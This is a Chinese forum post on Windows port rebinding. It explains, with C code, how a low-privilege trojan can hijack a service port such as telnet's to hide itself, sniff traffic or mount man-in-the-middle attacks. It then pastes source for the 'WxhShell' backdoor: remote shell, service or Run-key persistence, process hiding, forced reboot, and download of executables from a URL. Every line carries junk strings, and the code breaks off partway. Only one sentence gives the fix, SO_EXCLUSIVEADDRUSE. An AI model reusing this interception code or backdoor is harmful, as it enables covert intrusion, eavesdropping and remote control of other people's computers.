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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h}g _;k5R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Q6,,/nn  
+4G uA0N6  
  saddr.sin_family = AF_INET; TAi |]U!  
qdAz3iye  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oMkB!s  
kFw3'OZ,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :uu\q7@'  
^X)U^Qd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G"O %u|7  
.J&NM(qeZ  
  这意味着什么?意味着可以进行如下的攻击: nC_<pq^tr  
E$ F)z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b3#c0GL  
:1hp_XfJb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nO\|43W  
v9x $`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @wl80v  
/+JCi6{sHS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L((z;y>q|  
BXZ( %tnY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0aQNdi)b  
'/z.\S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rv9qF |2r{  
)WwysGkqol  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N95"dNZE  
4{}u PbS  
  #include <saS2.4  
  #include iBV*GW  
  #include :*0k:h6g  
  #include    87YT;Z;U&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bsP:tFw>  
  int main() Q\m"n^XN  
  { y{!`4CxF  
  WORD wVersionRequested; ugVsp&i#  
  DWORD ret; K4,VSy1byI  
  WSADATA wsaData; ?mG ?N(t/h  
  BOOL val; u'yePJTE  
  SOCKADDR_IN saddr; {Y` 0}  
  SOCKADDR_IN scaddr; _^#PV}  
  int err; Sn7.KYS  
  SOCKET s; dWI/X  
  SOCKET sc; 68;,hS*|6  
  int caddsize; A5ktbj&gy<  
  HANDLE mt; 3j]La  
  DWORD tid;   a[lE9JA;|  
  wVersionRequested = MAKEWORD( 2, 2 ); gRSM~<  
  err = WSAStartup( wVersionRequested, &wsaData ); #)my)}o\p  
  if ( err != 0 ) { *Ty>-aS1  
  printf("error!WSAStartup failed!\n"); SDA +XnmH  
  return -1; B 8C3LP}?  
  } %QwMB`x  
  saddr.sin_family = AF_INET; ndF Kw  
   0kmVP~K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fCx~K'UWn  
dkG-Yz~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J@!Sf7k42  
  saddr.sin_port = htons(23); 4&$hBn=!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gx'mVC"{  
  { `.L8<-]W  
  printf("error!socket failed!\n"); X+P3a/T  
  return -1; eHPGzN Xb  
  } axXA y5  
  val = TRUE; DFE?H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  M"X/([G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) li/IKS)e$  
  { He"> kJx  
  printf("error!setsockopt failed!\n"); M~ynJ@q  
  return -1; u'Mq^8  
  } D' uzH|z8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AHn^^'&x[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 > { fX;l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n+Fl|4  
3o"~_l$z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %S$P+B?  
  { MJ}VNv|S  
  ret=GetLastError(); 9R'rFI  
  printf("error!bind failed!\n"); CFRo>G  
  return -1; PuUqWW'^  
  } ;9B:E"K?@1  
  listen(s,2); ]C5JP~ #z  
  while(1) Q'$aFl'NR  
  { QVzLf+R~  
  caddsize = sizeof(scaddr); JK[7&C-O  
  //接受连接请求 R6{%o:{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F =d L#@^  
  if(sc!=INVALID_SOCKET) ywi Shvi8  
  { {U-VInu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }v=q6C#Q>  
  if(mt==NULL) ^XZm tB  
  { hj0uv6t.c  
  printf("Thread Creat Failed!\n"); "xnek8F  
  break; .i[Tp6'%,  
  } L7a+ #mGE  
  } s {$c8  
  CloseHandle(mt); !C#q  
  } 0r:8ni%cL  
  closesocket(s); 0~an\4nh  
  WSACleanup(); B-r9\fi,  
  return 0; QJOP*<O  
  }   mIl^  
  DWORD WINAPI ClientThread(LPVOID lpParam) (W*yF2r  
  { Q0ev*MS9Z  
  SOCKET ss = (SOCKET)lpParam; Dve5Ml-  
  SOCKET sc; j_p.KF'[?  
  unsigned char buf[4096]; Lrr6z05FQ  
  SOCKADDR_IN saddr; o?/N4$&5l  
  long num; }b6ja y  
  DWORD val; f[h=>O  
  DWORD ret; r(i<H%"Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U/|B IF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O{SU,"!y  
  saddr.sin_family = AF_INET; >$HMZbsE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hsx`P  
  saddr.sin_port = htons(23); 1T!_d&A1o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f-4<W0%  
  { !=k\Rr@qx  
  printf("error!socket failed!\n"); K6!`b( v#  
  return -1; &k : |  
  } stoBjDS  
  val = 100; t-_N|iW' 5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bF?EuL  
  { ~>s^/`|?  
  ret = GetLastError(); .t7D/_  
  return -1; 'fawpU|h  
  } `=%[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7d'4"c;*;  
  { ^'v6 ,*:4  
  ret = GetLastError(); 9I30ULm  
  return -1; URJ"  
  } &<.Z4GxS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P|_?{1eO2  
  { &&JI$x0;  
  printf("error!socket connect failed!\n"); -"!V&M  
  closesocket(sc); #@lr$^M  
  closesocket(ss); /KlA7MH6  
  return -1; p*NC nD*  
  } +S0A`rL  
  while(1) B:+}^=  
  { >D<nfG<s Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {&w%3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JL;H:`x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ukq9Cjs  
  num = recv(ss,buf,4096,0); ((;9%F:/$  
  if(num>0) EX8]i,s|E  
  send(sc,buf,num,0);  v+G}n\F  
  else if(num==0)  $@8\9Y {  
  break; }[ux4cd8Y  
  num = recv(sc,buf,4096,0); ^b>E_u  
  if(num>0) rw_&t>Ri;  
  send(ss,buf,num,0); _ [XEL+.  
  else if(num==0) Qpf BM  
  break; (IJf2  
  } .9 nsW?  
  closesocket(ss); |[k6X=5  
  closesocket(sc); JJ qX2B  
  return 0 ; =CRaMjN  
  } ]2b" oHg  
Yn1U@!  
[ .dNX  
========================================================== \UtUP#Y{t  
0FTiTrTn  
下边附上一个代码,,WXhSHELL R&PQ[Xc  
K"-N:OV  
========================================================== ,EwJg69  
pklcRrx,a  
#include "stdafx.h" Zd~s5  
@$+l ^"#-]  
#include <stdio.h> ua7I K~8l  
#include <string.h> BIV]4vl-&  
#include <windows.h> L)B?p!cdLT  
#include <winsock2.h> Z][?'^`^!  
#include <winsvc.h> @@ ZcW<Y"  
#include <urlmon.h> Av+ w>~/3  
L=HL1Qe$G]  
#pragma comment (lib, "Ws2_32.lib") IFpmf0;^  
#pragma comment (lib, "urlmon.lib") TvI}yaCu/x  
?]h+En5z8  
#define MAX_USER   100 // 最大客户端连接数 r=@h}TKv{I  
#define BUF_SOCK   200 // sock buffer :nZ*x=aq  
#define KEY_BUFF   255 // 输入 buffer 8yztVdh  
_DJ0 MR~3  
#define REBOOT     0   // 重启 :I<%.|8  
#define SHUTDOWN   1   // 关机 UK& E#i  
I X\&lV  
#define DEF_PORT   5000 // 监听端口 ;'J L$=  
|C-B=XE;3  
#define REG_LEN     16   // 注册表键长度 -t*C-C'"|  
#define SVC_LEN     80   // NT服务名长度 $T3/*xN  
#o yvsS8  
// 从dll定义API 4eIu@ ";!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2sittP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?cg+RNI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2M1yw "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G9V zVx#T#  
\19XDqf8  
// wxhshell配置信息 h)A+5^:^  
struct WSCFG { n,Ux>L  
  int ws_port;         // 监听端口 <w2Nh eM 3  
  char ws_passstr[REG_LEN]; // 口令 v8pUt\m"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ={feN L  
  char ws_regname[REG_LEN]; // 注册表键名 c+4SGWmO  
  char ws_svcname[REG_LEN]; // 服务名 Bwll [=_I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $L`7(0U-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4] DmgOru%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %o{vD&7\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wz6e^ g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MX9 q )(:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p=405~  
W%1fm/ G0  
}; Ho"FB|e  
7r}gS2d  
// default Wxhshell configuration Yn I   
struct WSCFG wscfg={DEF_PORT, D=dY4WwG  
    "xuhuanlingzhe", _0vXujz  
    1, C2Y&qX,  
    "Wxhshell", %8 4<@f&n]  
    "Wxhshell", MuO>O97  
            "WxhShell Service", &"^A  
    "Wrsky Windows CmdShell Service", ]pB~&0jg  
    "Please Input Your Password: ", DI$z yj~3  
  1, 9:=a FP  
  "http://www.wrsky.com/wxhshell.exe", H_*]Vg  
  "Wxhshell.exe" n+!.0d}6  
    }; EO| kiC   
.R-:vU880  
// 消息定义模块 H!45w;,I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h_CeGl!M}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _k j51=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0p[$8SCJ  
char *msg_ws_ext="\n\rExit."; <!w-op2@ir  
char *msg_ws_end="\n\rQuit.";  /?_{DMt  
char *msg_ws_boot="\n\rReboot..."; oY0*T9vv+  
char *msg_ws_poff="\n\rShutdown..."; jR/X}XQtY  
char *msg_ws_down="\n\rSave to "; a .] !  
xH' H! 8  
char *msg_ws_err="\n\rErr!"; -Xd/-,zPY  
char *msg_ws_ok="\n\rOK!"; 4Y)3<=kDG  
j+c)%  
char ExeFile[MAX_PATH]; :*oI"U*f  
int nUser = 0; %@r h\Z  
HANDLE handles[MAX_USER]; @u$oqjK  
int OsIsNt; o oS4F1ta  
_nTjCN625  
SERVICE_STATUS       serviceStatus; iSsy_ |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B2,! 0Re  
m&$H ?yXW>  
// 函数声明 H}}t )H  
int Install(void); |]`+@K,S  
int Uninstall(void); , g6.d#c  
int DownloadFile(char *sURL, SOCKET wsh); Jl9T[QAJn1  
int Boot(int flag); f0^s*V+  
void HideProc(void); zg5 u  
int GetOsVer(void); &[s^`e  
int Wxhshell(SOCKET wsl); J#X7Ss  
void TalkWithClient(void *cs); p 3_Q  
int CmdShell(SOCKET sock); 4XKg3l1  
int StartFromService(void); z_Qw's  
int StartWxhshell(LPSTR lpCmdLine); r^\^*FD |  
ga,yFw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _zpn+XVdQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2cmqtlW"  
[6-l6W  
// 数据结构和表定义 +ATN2 o  
SERVICE_TABLE_ENTRY DispatchTable[] = wLgRI$ _Dm  
{ ]&9f:5',  
{wscfg.ws_svcname, NTServiceMain}, 4 5Ql7~  
{NULL, NULL} v =u|D$  
}; #~#_) \l'F  
jn+0g:l  
// 自我安装 I&cb5j]C  
int Install(void) ),~Ca'TU  
{ @E==~ b  
  char svExeFile[MAX_PATH]; 3Ys|M%N  
  HKEY key; ZU:gNO0  
  strcpy(svExeFile,ExeFile); 6?Ks H;L9  
[@\f 0R  
// 如果是win9x系统,修改注册表设为自启动 C&;'Pw9H  
if(!OsIsNt) { *wSl~J|ZM%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / _cOg? o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HML6<U-eS  
  RegCloseKey(key); ,Tr12#D:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F`ihw[ Wn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `V?{  
  RegCloseKey(key); =T\pq8  
  return 0; gF%ad=xm  
    } lLg23k{'  
  } leD?yyjw7  
} (ncfR  
else { =9)ypI-2  
=-q)I[4#  
// 如果是NT以上系统,安装为系统服务 "Srp/g]a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BHK_=2WYz  
if (schSCManager!=0) JRo{z{!O6  
{ pH*L8tT  
  SC_HANDLE schService = CreateService 1/{:}9Z@  
  ( Ny~;"n  
  schSCManager, '<Vvv^Er  
  wscfg.ws_svcname, -S|L+">=Z  
  wscfg.ws_svcdisp, -\I0*L'$|\  
  SERVICE_ALL_ACCESS, l,/5$JGnk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Rwn1.Z  
  SERVICE_AUTO_START, SMhT>dB  
  SERVICE_ERROR_NORMAL, LD6fi  
  svExeFile, G?"1 z;  
  NULL, Jz-f1mhQV  
  NULL, SKS[Lf  
  NULL, ' Wi*[  
  NULL, Ft|a/e  
  NULL 3oIoQj+D  
  ); NT-du$! u  
  if (schService!=0) :N[2*.c[  
  { OC [a?#R1  
  CloseServiceHandle(schService); &3^40s/+  
  CloseServiceHandle(schSCManager); i@p?.%K{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oFsMQ Py  
  strcat(svExeFile,wscfg.ws_svcname); !sLn;1l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'shOSB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /R,/hi Kx\  
  RegCloseKey(key); SZ0Zi\W  
  return 0; c]n4vhUa5  
    } tz)L`g/J~  
  } u ) ld  
  CloseServiceHandle(schSCManager); B]hZ4.B1  
} }W YY5L8^  
} i|=XW6J%  
H`".L^  
return 1; :2?'mKa7  
} 0? l  
H(g&+Wcu=  
// 自我卸载 PEBQ|k8g&  
int Uninstall(void) f{+8]VA  
{ z1L.  
  HKEY key; t,H,*2  
&d*9#?9  
if(!OsIsNt) { M'g4alS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]]]7"a  
  RegDeleteValue(key,wscfg.ws_regname); [2 Rp.?  
  RegCloseKey(key); |M0TG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -&HN h\  
  RegDeleteValue(key,wscfg.ws_regname); yRy9*r=  
  RegCloseKey(key); m t*v@'l.  
  return 0; L%BWrmg  
  } ?+TD2~rD(  
} ))MP]j9 T  
} 3NJ-.c@(p  
else { bLUn0)c  
5= F-^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jv7M[SJ#x  
if (schSCManager!=0) {b+IDq`)=  
{ gG $o8c-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^ZV xBQKg  
  if (schService!=0) Llzowlfe  
  { 6 HEl1FK{@  
  if(DeleteService(schService)!=0) { mg 3jm  
  CloseServiceHandle(schService); 0!?f9kJq  
  CloseServiceHandle(schSCManager); uIba{9tM"P  
  return 0; F4PD3E_#  
  } me9RnPe:  
  CloseServiceHandle(schService); 11)~!in  
  } z,NHH):~  
  CloseServiceHandle(schSCManager); )XNcy"   
} 8cd,SQ}y  
} {UhZ\qe  
kC#;j=K?  
return 1; ?W|POk}  
} ROfmAc  
Mu:H'$"'H  
// 从指定url下载文件 <Q8bn?Z  
int DownloadFile(char *sURL, SOCKET wsh) im?nR+t+X  
{ L Y M`  
  HRESULT hr; n^A=ar.  
char seps[]= "/"; 2ru6 bIb;  
char *token; rXaL1`t*  
char *file; !K@y B)9  
char myURL[MAX_PATH]; jG/kT5S  
char myFILE[MAX_PATH]; SHaZ-d  
?K]k(ZV_+Y  
strcpy(myURL,sURL); zzxU9m~"  
  token=strtok(myURL,seps); WH/a#F  
  while(token!=NULL) E6G^?k~q  
  { 5-g02g  
    file=token; A/.cNen  
  token=strtok(NULL,seps);  aCTVY1  
  } ~q9RZ#g13J  
2<'gX>TW  
GetCurrentDirectory(MAX_PATH,myFILE); ' ZB%McS  
strcat(myFILE, "\\"); Hnaq+ _]  
strcat(myFILE, file); 7,jqA"9  
  send(wsh,myFILE,strlen(myFILE),0); ]F_u  
send(wsh,"...",3,0); Z`f _e?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K[9<a>D`  
  if(hr==S_OK) G%P]qi  
return 0; A76=^ iw  
else c=K M[s.  
return 1; QR#,n@fE  
:4A^~+J  
} 9f V57  
W}e5 4-lu  
// 系统电源模块 9*x9sfCv9  
int Boot(int flag) 63~i6  
{ @!Pq"/  
  HANDLE hToken; fGxa~Unx  
  TOKEN_PRIVILEGES tkp; Y8N&[L[z&  
B>'\g O\2  
  if(OsIsNt) { yf$7<gwX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M"J $c42  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZE1#{u~[y  
    tkp.PrivilegeCount = 1; rUuM__;d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [~;9Mi.XL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9K&b1O@Aj  
if(flag==REBOOT) { *s/F4?*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5H5< ft,  
  return 0; %>s y`c  
} nqV7Db~  
else { ;TR.UUT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $DQMN  
  return 0; 2qEy"DKu  
} K 4 >d  
  } w ggl,+7  
  else { ;+5eE`]a/L  
if(flag==REBOOT) { 4}0s^>R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,,6e }o6  
  return 0; )cvC9gt  
} @-W)(9kZ|  
else { *v&g>Ni  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ruA!+@or  
  return 0; D,R/abYZH  
} u=4tW:W,  
} eHv/3"Og  
r..Rh9v/=E  
return 1; uh GL1{  
} *f,EDSN1@d  
O/FQ'o1F  
// win9x进程隐藏模块 EJRwyF5 LK  
void HideProc(void) :_vf1>[  
{ _kar5B$  
\Q & Kd|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q!@" Y/  
  if ( hKernel != NULL ) P ^D\znvc  
  { 1c\$ziB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p( z.[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y(-+>>j_  
    FreeLibrary(hKernel); HtXzMSGo7  
  } 05w_/l+  
VkUMMq{  
return; AJj6@hi2P  
} uu'~[SZlL  
=WHdy;  
// 获取操作系统版本 []'BrG)!  
int GetOsVer(void) ] @IzJz"R  
{ 3Hr ZN+D  
  OSVERSIONINFO winfo; pvcD 61,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SkS vu}  
  GetVersionEx(&winfo); {6RT&w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A?Uyj  
  return 1; 0b4QcfB1[  
  else g"F vD_  
  return 0; QKe=/;  
} hg |DpP  
zs WYV n]  
// 客户端句柄模块 rZ *}jD[  
int Wxhshell(SOCKET wsl) RtN5\  
{ Ia[e 7  
  SOCKET wsh; JZ9w!)U  
  struct sockaddr_in client; s<aJ pi{n4  
  DWORD myID; 7mt;qn?n  
EW|bs#l  
  while(nUser<MAX_USER)  \&"gCv#  
{ l(*`,-pv:  
  int nSize=sizeof(client); 6> X7JMRY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :<!a.%=  
  if(wsh==INVALID_SOCKET) return 1; 3u _[=a  
0]fzjiaGt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3D(/k%;)  
if(handles[nUser]==0) 1d"g $i4e  
  closesocket(wsh); Ic P]EgB  
else xZwG@+U=X  
  nUser++; X6kCYTJYF  
  } 1=}+NK!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [}|x@ v9  
]oUvC  
  return 0; w9G (^jS6  
} <Y9%oJn%  
Se{}OG)  
// 关闭 socket //xK v{3fI  
void CloseIt(SOCKET wsh) XShi[7  
{ [vrM,?X  
closesocket(wsh); &gR)Y3  
nUser--; Op0n.\>  
ExitThread(0); EyO=M~nsS  
} +`}QIp0  
[3"k :  
// 客户端请求句柄 aA7}>  
void TalkWithClient(void *cs) rO[cm}  
{ P%2aOsD0  
]?rVram;z  
  SOCKET wsh=(SOCKET)cs; r$T\@oTL  
  char pwd[SVC_LEN]; piULIZ0  
  char cmd[KEY_BUFF]; (E[c-1s  
char chr[1]; z@Pv~"  
int i,j; <n? cRk'.  
l!qhK'']V"  
  while (nUser < MAX_USER) { xq$(=WPI  
3dheT}XV?p  
if(wscfg.ws_passstr) { 41Ga-0p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VokIc&!Uz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B>C+qj@  
  //ZeroMemory(pwd,KEY_BUFF); /<C}v~r  
      i=0; [ ICFPY6  
  while(i<SVC_LEN) { CiF(   
)cP &c=  
  // 设置超时 }$%j}F{  
  fd_set FdRead; wr5ScsNS  
  struct timeval TimeOut; F \0>/  
  FD_ZERO(&FdRead); R RRF/Z;))  
  FD_SET(wsh,&FdRead); w.X MyHj  
  TimeOut.tv_sec=8; ] MP*5U>;  
  TimeOut.tv_usec=0; yzyBr1s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H1Jk_@b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vG'6?%38  
%B}<5iO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u1 Z;n  
  pwd=chr[0]; |#(KP  
  if(chr[0]==0xd || chr[0]==0xa) { (;!92ct[?  
  pwd=0; 5}C.^J`  
  break; wE3L,yx=  
  } A4uKE"WE  
  i++; (fA>@5n  
    } *qa.hqas  
X8 $Y2?<  
  // 如果是非法用户,关闭 socket / <C{$Gu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pl }nb Y  
} q]scKWYI  
-.@dA'j[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dvAG}<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t]IHQ8  
9epMw-)k  
while(1) { I=[Ir8} ;  
%?`O .W  
  ZeroMemory(cmd,KEY_BUFF); l*>,K2F  
`.z"Q%uz  
      // 自动支持客户端 telnet标准   '\O[j*h^.  
  j=0; 8$F"!dc _  
  while(j<KEY_BUFF) { x{O) n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Z*`~,Q  
  cmd[j]=chr[0]; H@xHkqan  
  if(chr[0]==0xa || chr[0]==0xd) { *z'v  
  cmd[j]=0; l|81_BC"  
  break; aPdEEqc\l  
  } @cr/&  
  j++; 5jq @ nq6  
    } |*/-~5"  
25PZ&^G 8%  
  // 下载文件 ;Rlf[](iL  
  if(strstr(cmd,"http://")) { ^IgQI N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Q_Q-Z  
  if(DownloadFile(cmd,wsh)) vM'!WVs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `w&?SXFO8  
  else ExhK\J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kf-XL ),3l  
  } ' 7Mz]@  
  else { &S=Qu?H  
BG6.,'~7o  
    switch(cmd[0]) { Mkh/+f4  
  fig~z=m  
  // 帮助 {,!!jeOO  
  case '?': { :_,a%hb+8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZZw2m@T>  
    break; **$kW bS  
  } =xQPg0g  
  // 安装 RBz"1hRo`  
  case 'i': { 7}I';>QH  
    if(Install()) 1M.#7;#B3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp6==(:.  
    else 2Wg:eh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |}2/:f#Iz*  
    break; ?0'e_s  
    } ^&\pY  
  // 卸载 o|u4C{j  
  case 'r': { [p' A?-  
    if(Uninstall()) %K+hG=3O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T X iu/g(  
    else fW Pa1E@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !?R#e`}  
    break; Nd]RbX  
    } qzNXz_#+u  
  // 显示 wxhshell 所在路径 n=)LB& m  
  case 'p': { H s$HeAp;  
    char svExeFile[MAX_PATH]; dDSb1TM  
    strcpy(svExeFile,"\n\r"); E,F^!4 rJ$  
      strcat(svExeFile,ExeFile); 2}7_Y6RS*  
        send(wsh,svExeFile,strlen(svExeFile),0); q{Gh5zg5O  
    break; ePZ Ai"k  
    } _xH<R  
  // 重启 Yn$: |$  
  case 'b': { 3-E-\5I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [MQ* =*  
    if(Boot(REBOOT)) e|W;(@$<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'msHF  
    else { /NjBC[P  
    closesocket(wsh); FGPqF;  
    ExitThread(0); w#hg_RK(Jr  
    } m,"-/)  
    break; RT3(utwO  
    } *DvX|| `&  
  // 关机 JU;`c>8=)  
  case 'd': { Z"'*A\r2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q=>5@sZB  
